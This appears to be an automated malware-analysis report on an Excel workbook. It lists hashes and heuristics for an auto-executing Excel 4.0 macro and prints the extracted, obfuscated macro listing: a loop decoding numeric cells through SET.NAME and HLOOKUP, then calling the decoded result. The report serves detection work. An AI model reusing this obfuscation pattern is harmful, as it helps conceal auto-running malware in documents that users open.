Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cbce3e13c6042a1c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:20 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: fa13822cf5cc60983cb0cb283955cf6f SHA-1: ad262279d0bf7436aa0b655cdd902d964a5244de SHA-256: cbce3e13c6042a1c66054ef353057d19eecd78b7d82900ae9445ffb9ef6b9db8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6807 bytes
SHA-256: 3da460844b64e9d5170ea2b207418d3204c0b8093fa1c7ac1af0a417410ae3b8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ewKANFg
' 0018     26 LABEL : Cell Value, String Constant - AIDFTFOGIcq len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A137 
' 0018     21 LABEL : Cell Value, String Constant - BfhHhB len=0 
' 0018     23 LABEL : Cell Value, String Constant - CRNnDWsc len=0 
' 0018     26 LABEL : Cell Value, String Constant - fSJlLHDTMfi len=0 
' 0018     20 LABEL : Cell Value, String Constant - fSSNT len=0 
' 0018     21 LABEL : Cell Value, String Constant - fZgNiT len=0 
' 0018     20 LABEL : Cell Value, String Constant - IDQbE len=0 
' 0018     27 LABEL : Cell Value, String Constant - jzAUvJIhjieO len=0 
' 0018     27 LABEL : Cell Value, String Constant - lHIMocAWWceL len=0 
' 0018     21 LABEL : Cell Value, String Constant - MjuEjo len=0 
' 0018     22 LABEL : Cell Value, String Constant - qmyFSkD len=0 
' 0018     22 LABEL : Cell Value, String Constant - RIZwvWq len=0 
' 0018     23 LABEL : Cell Value, String Constant - RPhrQTuz len=0 
' 0018     26 LABEL : Cell Value, String Constant - RSELJjmbmQC len=0 
' 0018     21 LABEL : Cell Value, String Constant - UoYoLr len=0 
' 0018     27 LABEL : Cell Value, String Constant - vvkXnNvaftnJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - VZrkegZvR len=0 
' 0018     24 LABEL : Cell Value, String Constant - WQIrkuAjl len=0 
' 0018     20 LABEL : Cell Value, String Constant - YYybs len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZnpDxjwgV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ewKANFg,A47,"SET.NAME("WQIrkuAjl",0+VALUE("0"))",""
'  ewKANFg,T48,"",-179.00000000000000000000
'  ewKANFg,T49,"",-464.00000000000000000000
'  ewKANFg,A50,"SET.NAME("fZgNiT",WQIrkuAjl)",""
'  ewKANFg,T50,"",-458.00000000000000000000
'  ewKANFg,T51,"",-975.00000000000000000000
'  ewKANFg,T52,"",-732.00000000000000000000
'  ewKANFg,T53,"",564.00000000000000000000
'  ewKANFg,A54,"SET.NAME("qmyFSkD",WQIrkuAjl)",""
'  ewKANFg,A59,"SET.NAME("AIDFTFOGIcq",COUNTA(vvkXnNvaftnJ))",""
'  ewKANFg,A63,"SET.NAME("fSJlLHDTMfi",COUNTA(BfhHhB))",""
'  ewKANFg,A65,[],""
'  ewKANFg,A68,"SET.NAME("IDQbE","")",""
'  ewKANFg,A72,"fZgNiT",""
'  ewKANFg,A75,"SET.NAME("RSELJjmbmQC",HLOOKUP("*",vvkXnNvaftnJ,fZgNiT,FALSE))",""
'  ewKANFg,A77,"CRNnDWsc",""
'  ewKANFg,A80,"SET.NAME("jzAUvJIhjieO",WQIrkuAjl)",""
'  ewKANFg,A84,[],""
'  ewKANFg,A86,"jzAUvJIhjieO",""
'  ewKANFg,A88,"UoYoLr",""
'  ewKANFg,A93,"YYybs",""
'  ewKANFg,A97,"RIZwvWq",""
'  ewKANFg,A101,"SET.NAME("ZnpDxjwgV",VALUE(HLOOKUP("*",BfhHhB,RIZwvWq,FALSE)))",""
'  ewKANFg,A105,"VZrkegZvR",""
'  ewKANFg,A108,"IDQbE",""
'  ewKANFg,A112,"qmyFSkD",""
'  ewKANFg,A116,NEXT(),""
'  ewKANFg,A121,"RPhrQTuz",""
'  ewKANFg,A123,[],""
'  ewKANFg,A127,"fSSNT",""
'  ewKANFg,A130,NEXT(),""
'  ewKANFg,A133,RETURN(),""
'  ewKANFg,A163,"SET.NAME("lHIMocAWWceL",A47)",""
'  ewKANFg,A167,"vvkXnNvaftnJ",""
'  ewKANFg,A172,"SET.NAME("BfhHhB",R49C15)",""
'  ewKANFg,A175,"SET.NAME("fSSNT",183)",""
'  ewKANFg,A180,"SET.NAME("MjuEjo",1)",""
'  ewKANFg,A182,lHIMocAWWceL(),""
'  ewKANFg,A183,HALT(),""